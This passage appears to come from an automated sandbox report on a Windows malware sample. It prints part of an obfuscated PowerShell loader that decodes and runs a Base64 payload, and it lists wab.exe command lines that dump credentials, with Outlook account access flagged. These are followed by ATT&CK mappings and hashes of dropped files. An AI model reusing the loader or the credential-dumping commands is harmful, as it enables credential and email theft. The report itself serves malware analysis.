;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2960
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:4248
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ckrb"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3428
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\emflngn"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3160
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pgkeozyoooj"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953
MD5 9faf6f9cd1992cdebfd8e34b48ea9330
SHA1 ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e
SHA512 05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 e4091f9720aaeb2e188443f897567f9742dd09f76932b454485d7cfd63fe58bd
MD5 6f4dfce3f166756b473feba3dcd0192a
SHA1 dc4a3b808c1f75b749b0b5046cfdaed74c3af0ab
SHA512 47b4db4cca66c98c80209186c08fc11687eada152f4565ad4ed30238c46825b5f40b140fdbb06b3973e53d3b59b7709d6416d954cfd7d7c2c6e37db797f32fbb
SSDEEP 384:gsf+E2h9p+crTzXl/0YVPh/5+o9oFTo/6seYjY8/0UM3Soxxpf8keEqSwQ0gCd3c:NfopH7l8YVPrjoFToAIfsRSMVWEqPZ9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

Forfrelsens.vbs

Path C:\Users\Admin\AppData\Local\Temp\Forfrelsens.vbs
Size 26KB
SHA256 b13926e222564a63a3308de6cb116c226e93cd1e9d1b5f2fcac2de6d80e70206
MD5 7a6e4c385a470b962384797f26bc0b8a
SHA1 5d4eeeef8961f0ca7a83b5baeb36bb6715d61a11
SHA512 ba326cbba71bbfd6054a1f3564fcf4c085add37c186170e039e9cf469cdd16b0fd394f028d4d09ea45faadeea4cf5f4edb64f8c5db58eb67ed93987740d8e453
SSDEEP 768:HzSR022X/523S0e8xPPmp2TkLqur5pjMpc4i:TSuce8xPP2qur5+bi
MD5 SHA1 SHA512 SSDEEP

Submit Download

RESDE3A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESDE3A.tmp
Size 1KB
SHA256 33c89c30d903304103671d45fc232e6665138bfc448be928e50b9d8765a0764a
MD5 c13bf3679e732610b92b02ea286547ba
SHA1 0bba7b71600ec600727fcaf18f9cc349b2657fa0
SHA512 b2f4aa2da04a4e5508c5d9d046b9e2b0024b3136fdb6acabff34d5b683a5b9586641910c958472bbe3003463974ff48df93196a0f33199b7dc0c0d11bfe0a721
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_yu0lru30.zco.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yu0lru30.zco.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

ckrb

Path C:\Users\Admin\AppData\Local\Temp\ckrb
Size 4KB
SHA256 29338949fae4c88a972837aae898529e4c7a2c4df35982eef2f8d7b602c17f4e
MD5 2538ec9e8425a905937573069b77d4c2
SHA1 ad0c2b7aff4382e23444d26adac96d9697b849f3
SHA512 a867a471b837b9c662528ee7a5904e8fe7b1eebb277b8a7fe4d4caf423fae914baf692bb5004c02ddb539b157d63326178467e28b03aa92a533cda19155d501c
SSDEEP 48:wvvv0GjxfvvcGjxfdvv0GjxBvv0Gjxakvv0Gj7:mvtjxvljp1vtjPvtjbvtj7
MD5 SHA1 SHA512 SSDEEP

Submit Download

hahnxc1o.dll

Path C:\Users\Admin\AppData\Local\Temp\hahnxc1o\hahnxc1o.dll
Size 3KB
SHA256 b860956b1b9c353f90feda29ebd8b3b660007d6b75f79c26c126978692835209
MD5 9d522760282dd142762490537cd6d90e
SHA1 3f862a532b6bf78f4d292d72784e6d199e10e0a7
SHA512 fbe83211d416fa5ac528e0b87ce7bd6ec9d71ff566b346a4ea03136da693c83e818ee15a9bcdd3e9d8cb2947af8a0e93de62f0ff5f77e0990b406f125c1b07b8
MD5 SHA1 SHA512

Submit Download

Ikonisk.Shi

Path C:\Users\Admin\AppData\Local\Temp\unroven\Dognaped\savklinge\Ikonisk.Shi
Size 336KB
SHA256 296486266c803f37fb04725ee140a1270bff39a14a6f10a48511192658378719
MD5 94171f8ec3a973aefc006db373afe934
SHA1 38de9f802ea534c3fb87f15a6aae44df0dd4a19c
SHA512 ceec0ad172a2956be30255cbb36633aca2fc43edd1a6de2d013a8f77758a34736266bbb0d2f5611769bcf90ed6807d7b3d328c647533bf66094e7582e286baf9
SSDEEP 6144:/zHOw/2U6ZLlKc9dvdE8Jz40SdXKPflE0SdRtRBCZgBJWJW:/zHx/3olK2dVO0SyARNKgBJWw
MD5 SHA1 SHA512 SSDEEP

Submit Download

Subconformable.Pla

Path C:\Users\Admin\AppData\Local\Temp\unroven\Dognaped\savklinge\Subconformable.Pla
Size 53KB
SHA256 5f0f09f7a2147f6c4c90153e0486bb1b54970db78fa225a8551745ee45ba4d86
MD5 5949746601f88e742a19a63bd9fdb854
SHA1 5f2e3b8518eebab1e5c2a4f46a1eefe84be42984
SHA512 4e2098900056a539b08f6ce507af2422e685dde88f27a36038aa939ca37a86fb1135a6215f324de2817211926c90e29bc93a3acd368abd4b2b795cb48400de74
SSDEEP 768:0s6DQ9/np9n1dGt+qlli2Mov8LzhEGO0stv4pvx6OJH67yxQj/k3d2KlPpFYD11U:0JYjn1dGt+BU4dOnv4hpmj6lPp+p1Zgr
MD5 SHA1 SHA512 SSDEEP

Submit Download

Snigmyrdede.Sko

Path C:\Users\Admin\AppData\Roaming\Snigmyrdede.Sko
Size 507KB
SHA256 e0e516ea98d02bc1529767d9c3524b6ec48342af2c5a704ce976d5f2430df1c2
MD5 047e0275bdd0927f6efef87097f21863
SHA1 4299854e50da9bf541fa2860dd03b635d7dfba47
SHA512 b094d60e78b9fd9c230bf53774ba3853321a37be02174844b7b6b39b977641438310a14267a26977f4c88db45e52ae5e6f0f98ebb74d8466e960fd1b958574e3
SSDEEP 6144:ZhZQKJ7e1+X814RJz1/sEa4Gv9hbtE9XcA4009r0KOD7hXDd+NayYrpqy2RtCPKZ:ZhJecX3jh/PGvrsXcAm0PdDdrEPR1Z
MD5 SHA1 SHA512 SSDEEP

Submit Download

sahost.exe

Path C:\Users\Admin\AppData\Roaming\sahost.exe
Size 659KB
SHA256 75264794a3541607602861f89801444e81da59896ebc7ad57b9e3ff00433bb2d
MD5 7b07c9c3197bbb8d32579b2c8a6d0c54
SHA1 094ce13a09e98a9527561f6d617104862303d27d
SHA512 ace45a0591dc4f869cf1af8728e74eac4a39d1e060f053facb5a0c34bab53384d82358223d66d08af12d3f7eee4cae2284bcf60f4a3b833d91141913a3576d2c
SSDEEP 6144:ZMfxVJtSldirh/y59ECwXs+gw62oV10cUDFmq9YTtVRHR3vw6u5BhA4Dkny6qRMX:kxV4d8/yRwXsf709YTjpR3rggnp+Jqt
MD5 SHA1 SHA512 SSDEEP

Submit Download

CSC7D226A129E2345DE81771FF31B6EC44E.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\hahnxc1o\CSC7D226A129E2345DE81771FF31B6EC44E.TMP
Size 652B
SHA256 cb65597189317ba4e58336069803aa8d31bd74e1776c470e03b6a0bcbb187c3e
MD5 168b3ae505a8bca13919e251be6ddcb5
SHA1 c0723436998089b52d5c2d496b8bf6ba27a579ac
SHA512 6f8ef96375b0a09b0d56fe9733f2316d6b3991bda8b6522e53e110afea75ff43e1c445e1a51a798b6c13bd870d082cd013956fdac7ef9ab86e34df8eba0fb3d6
MD5 SHA1 SHA512

Submit Download

hahnxc1o.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\hahnxc1o\hahnxc1o.0.cs
Size 471B
SHA256 6a40689475a5fce8fc4fe479895ceb7d69012fb9d39c0ebeeed09e4ab1f2db0d
MD5 8a94ee79dbb7253f9714c1490541c6d1
SHA1 e3d64a608a40ff70091701f9c7807121e81163de
SHA512 1d90cf1544a707d627f4b7bcacd0dd522b2345e4b166cb1be37b6a15fb0bf620f6c31efbae89bfc996e9bb7d1626ebee919724a229776334d021e895e5c7dd21
MD5 SHA1 SHA512

Submit Download

hahnxc1o.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\hahnxc1o\hahnxc1o.cmdline
Size 369B
SHA256 231b6cd6e8ac783be62f50c835f00c0517e8a57be0b1d1cc6d61f33c9e808723
MD5 59052b86b862c0e6516ef496efec14d4
SHA1 51485f67311447e15b1e5c9b121271fa10663684
SHA512 9ad309d55ff24162d5fd54fe1f303035df67fb67ebca479257c5d8813e414c07c3314fcee46879f2318d9507b3452bea244d65c7f04344ed826c9d2b509e161c
MD5 SHA1 SHA512

Submit Download

memory/792-127-0x00000000055C0000-0x0000000005914000-memory.dmp

Download

memory/792-137-0x00000000061F0000-0x000000000623C000-memory.dmp

Download

memory/2308-97-0x0000000008DB0000-0x000000000A0ED000-memory.dmp

Download

memory/2344-33-0x0000000006F70000-0x0000000006F8E000-memory.dmp

Download

memory/2344-13-0x00000000063E0000-0x0000000006734000-memory.dmp

Download

memory/2344-36-0x0000000008390000-0x0000000008A0A000-memory.dmp

Download

memory/2344-38-0x0000000007D60000-0x0000000007D6A000-memory.dmp

Download

memory/2344-39-0x0000000007F80000-0x0000000008016000-memory.dmp

Download

memory/2344-40-0x0000000007EE0000-0x0000000007EF1000-memory.dmp

Download

memory/2344-41-0x0000000007F10000-0x0000000007F1E000-memory.dmp

Download

memory/2344-42-0x0000000007F20000-0x0000000007F34000-memory.dmp

Download

memory/2344-43-0x0000000007F60000-0x0000000007F7A000-memory.dmp

Download

memory/2344-44-0x0000000007F50000-0x0000000007F58000-memory.dmp

Download

memory/2344-34-0x0000000007C60000-0x0000000007D03000-memory.dmp

Download

memory/2344-35-0x0000000071050000-0x0000000071800000-memory.dmp

Download

memory/2344-0-0x000000007105E000-0x000000007105F000-memory.dmp

Download

memory/2344-22-0x0000000071050000-0x0000000071800000-memory.dmp

Download

memory/2344-20-0x0000000007970000-0x00000000079A2000-memory.dmp

Download

memory/2344-57-0x0000000007F50000-0x0000000007F58000-memory.dmp

Download

memory/2344-63-0x0000000008220000-0x0000000008242000-memory.dmp

Download

memory/2344-64-0x0000000008FC0000-0x0000000009564000-memory.dmp

Download

memory/2344-21-0x000000006D910000-0x000000006D95C000-memory.dmp

Download

memory/2344-77-0x0000000071050000-0x0000000071800000-memory.dmp

Download

memory/2344-23-0x000000006DC80000-0x000000006DFD4000-memory.dmp

Download

memory/2344-19-0x00000000069E0000-0x0000000006A2C000-memory.dmp

Download

memory/2344-18-0x00000000069B0000-0x00000000069CE000-memory.dmp

Download

memory/2344-37-0x0000000007A30000-0x0000000007A4A000-memory.dmp

Download

memory/2344-7-0x0000000006370000-0x00000000063D6000-memory.dmp

Download

memory/2344-1-0x00000000053C0000-0x00000000053F6000-memory.dmp

Download

memory/2344-2-0x0000000071050000-0x0000000071800000-memory.dmp

Download

memory/2344-6-0x0000000006300000-0x0000000006366000-memory.dmp

Download

memory/2344-3-0x0000000005B30000-0x0000000006158000-memory.dmp

Download

memory/2344-4-0x0000000071050000-0x0000000071800000-memory.dmp

Download

memory/2344-5-0x00000000059E0000-0x0000000005A02000-memory.dmp

Download

memory/2960-159-0x0000000009310000-0x000000000B72D000-memory.dmp

Download

memory/3160-119-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3160-116-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3160-117-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3428-115-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3428-114-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3428-118-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3864-120-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3864-121-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3864-125-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4736-143-0x000000001F4E0000-0x000000001F4F9000-memory.dmp

Download

memory/4736-142-0x000000001F4E0000-0x000000001F4F9000-memory.dmp

Download

memory/4736-139-0x000000001F4E0000-0x000000001F4F9000-memory.dmp

Download

memory/4736-105-0x00000000021E0000-0x000000000351D000-memory.dmp

Download

memory/4736-99-0x0000000000F80000-0x00000000021D4000-memory.dmp

Download